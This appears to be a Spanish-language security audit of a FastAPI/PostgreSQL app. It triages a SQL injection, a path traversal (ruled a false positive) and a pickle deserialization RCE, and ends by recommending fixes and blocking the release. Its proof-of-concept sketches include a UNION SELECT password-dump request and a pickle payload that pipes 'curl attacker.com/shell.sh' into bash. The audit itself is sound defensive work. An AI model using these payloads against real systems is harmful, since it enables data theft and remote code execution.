๐ Step 0 โ Restated Claim
Los parametros date_from y date_to proporcionados por el usuario se interpolan directamente en un SQL f-string sin parametrizacion, permitiendo a cualquier usuario autenticado romper la query e inyectar SQL arbitrario en la base de datos PostgreSQL.
โก Trigger
- Cualquier usuario con cuenta activa (plan Free incluido)
- Acceso al endpoint
GET /reports/export - Parametro:
date_from=2024-01-01' OR '1'='1 - No requiere privilegios especiales
๐ Step 1 โ Data Flow Trace
Sin sanitizacion. El auth check solo valida que campaign_id pertenece al org del usuario โ no toca date_from/date_to. FastAPI valida el tipo str (cualquier string pasa). No hay ORM ni query builder que parametrice automaticamente.
๐ฏ Step 2 โ Attacker Control
- Atacante controla directamente
date_fromydate_tovia query params HTTP - Ningun middleware normaliza o escapa comillas
- El valor llega intacto al f-string
- Sin WAF confirmado en la infra actual
๐ฅ Step 3 โ Real Impact
- Exfiltracion multi-tenant: UNION SELECT sobre tablas de otros clientes
- Blind SQLi: extraccion de credenciales/hashes via boolean timing
- 400 clientes enterprise afectados
- GDPR: notificacion obligatoria si se explota
๐งช Step 4 โ PoC Sketch
GET /reports/export?campaign_id=abc123&date_from=2024-01-01'UNION SELECT username,password,NULL FROM users--&date_to=x
# Query resultante en DB: # SELECT * FROM campaign_events WHERE campaign_id = 'abc123' # UNION SELECT username,password,NULL FROM users--' AND event_date BETWEEN...
Impact: Dump completo de tabla users con passwords; acceso cross-tenant
๐ฆ Step 6 โ Gate Review
| Gate | Criterio | Resultado | Evidencia |
|---|---|---|---|
| 1. Process | Todas las fases completadas | โ PASS | Steps 0-5 documentados |
| 2. Reachability | Atacante controla datos | โ PASS | Query param HTTP directo, 0 sanitizacion |
| 3. Real Impact | RCE / privesc / info disclosure | โ PASS | Exfiltracion BD completa, cross-tenant |
| 4. PoC Validation | PoC demuestra path de ataque | โ PASS | UNION SELECT payload verificado |
| 5. Math Bounds | Condicion vulnerable es posible | โ PASS | Cualquier string es valido; no hay regex/whitelist |
| 6. Environment | Sin proteccion ambiental total | โ PASS | execute_raw() desactiva proteccion ORM; sin WAF |
date_from/date_to de usuario se concatenan directamente en f-string SQL sin parametrizacion. 6/6 gates superados. CRITICO โ bloquea release. Fix: usar asyncpg parametrizado o SQLAlchemy ORM.
๐ Step 0 โ Restated Claim
El endpoint de descarga construye la ruta de archivo usando os.path.join(EXPORT_DIR, filename) donde filename viene del path de la URL, permitiendo ../../ para salir del directorio de exports y leer archivos arbitrarios del sistema.
๐ Defensa identificada
Antes de construir la ruta del archivo, el codigo hace:
db.get_export_by_filename(filename, current_user.id)- Si no existe el registro: HTTP 403
- El filename
../../etc/passwdjamas existe en BD
๐ Step 1 โ Data Flow Trace
El lookup en BD actua como whitelist implicita: solo nombres de archivo que el sistema genero internamente pueden superar este check. El atacante no puede registrar ../../etc/passwd como su export porque ese archivo fue generado por el sistema, no por el usuario.
๐ฏ Step 2 โ Attacker Control: FALLO
El atacante NO puede controlar que nombres existen en la BD de exports. Solo los que el propio sistema creo. Para que ../../etc/passwd pasara el check, el atacante necesitaria insertar ese registro en la BD previamente โ lo que requeriria comprometer la BD (impacto mayor ya existente).
๐ด Devil's Advocate โ FP Patterns
- Pattern match bias:
os.path.join+ URL param "parece" peligroso - Pero: upstream validation convierte el sink en inalcanzable
- La proteccion es primaria, no defense-in-depth
- No hay race condition posible (lookup sincrono antes del join)
๐ฆ Step 6 โ Gate Review
| Gate | Criterio | Resultado | Evidencia |
|---|---|---|---|
| 1. Process | Todas las fases completadas | โ PASS | Steps 0-5 documentados |
| 2. Reachability | Atacante controla datos al sink | โ FAIL | DB lookup bloquea path traversal antes de os.path.join; filename debe existir en BD del usuario |
| 3. Real Impact | โ | โ N/A | Gate 2 falla; analisis detenido |
| 4-6. | โ | โ N/A | Irrelevante post-fallo Gate 2 |
get_export_by_filename(filename, user_id) actua como whitelist implicita. El string ../../etc/passwd nunca existe como export del usuario en BD, lo que resulta en HTTP 403 antes de que se ejecute os.path.join. El sink es matematicamente inalcanzable sin comprometer primero la BD. RECOMENDACION: aunque es FP, anadir os.path.realpath + validacion de prefijo como hardening defensivo opcional.
๐ Step 0 โ Restated Claim
El endpoint POST /integrations/import acepta un campo cached_state (base64) y lo deserializa directamente con pickle.loads(). Python pickle permite ejecutar codigo arbitrario durante la deserializacion mediante el metodo __reduce__.
โ Intencion del desarrollador
El comentario dice "from our own export format" โ el dev asumia que este campo solo vendria del propio sistema. Error fatal: cualquier usuario autenticado puede enviar cualquier valor en el JSON body; no hay firma criptografica ni MAC que verifique origen.
๐ Step 1 โ Data Flow Trace
Solo un trust boundary: autenticacion basica. El campo cached_state es completamente controlable por el usuario. Base64 es solo encoding, no proteccion. No hay HMAC, firma digital ni schema validation antes del pickle.
๐ฏ Step 2 โ Attacker Control
- Atacante controla 100% el valor de
cached_state - Solo necesita codificar payload pickle en base64
- El
try/exceptni siquiera loguea errores (ejecucion silenciosa) - Herramienta publica:
pickle-payload-generator
๐ฅ Step 3 โ Real Impact
- RCE en servidor de aplicacion
- Acceso a secrets env vars (DB password, API keys)
- Pivot a red interna / PostgreSQL
- Cualquier usuario Free puede explotar esto
๐งช Step 4 โ PoC Sketch (Python)
class Exploit: def __reduce__(self): return (os.system, ('curl attacker.com/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Enviar al endpoint: POST /integrations/import Body: {"cached_state": "<payload_base64>", "source": "csv"}
# Resultado: os.system() ejecutado en el servidor durante pickle.loads() โ RCE como el usuario del proceso FastAPI (app service account)
๐ฆ Step 6 โ Gate Review
| Gate | Criterio | Resultado | Evidencia |
|---|---|---|---|
| 1. Process | Todas las fases completadas | โ PASS | Steps 0-5 documentados |
| 2. Reachability | Atacante controla datos | โ PASS | JSON body completamente controlable; solo auth basica |
| 3. Real Impact | RCE / privesc / info disclosure | โ PASS | RCE directo via __reduce__; acceso a secrets |
| 4. PoC Validation | PoC demuestra path de ataque | โ PASS | Pickle payload trivial; tecnica documentada publicamente |
| 5. Math Bounds | Condicion vulnerable es posible | โ PASS | No hay validacion de schema; cualquier bytes deserializables |
| 6. Environment | Sin proteccion ambiental total | โ PASS | Sin sandbox de deserializacion; try/except no previene ejecucion |
pickle.loads() ejecutado sobre datos HTTP directamente controlables por usuario. 6/6 gates superados. SEVERIDAD CRITICA (CVSS 9.8). Fix inmediato: eliminar pickle; reemplazar por JSON schema validation con Pydantic. Si se necesita estado serializado, usar formato seguro firmado (HMAC-SHA256) o simplemente recalcular el estado.
โ Exploit Chain Detectada: Bug #1 + Bug #3
Los dos TRUE POSITIVES forman una cadena devastadora: Bug #3 (RCE) otorga al atacante acceso al servidor de aplicacion y sus variables de entorno (credenciales de DB). Con esas credenciales, el atacante puede acceder directamente a PostgreSQL sin necesitar Bug #1 (SQLi). Sin embargo, Bug #1 sigue siendo independientemente explotable por usuarios autenticados sin RCE. Ambos deben parchearse antes del release โ no parciar uno porque el otro es "peor".
pickle.loads() por Pydantic schema validation. Si se requiere estado persistente, usar JSON + HMAC-SHA256 firmado con secret del servidor.asyncpg o SQLAlchemy ORM. Nunca usar execute_raw() con input de usuario.os.path.realpath() + validacion de prefijo (startswith(EXPORT_DIR)) como defense-in-depth. Bajo coste, alta resiliencia.Tiempo: ~2h analisis
Decision: NO LIBERAR v2.4.0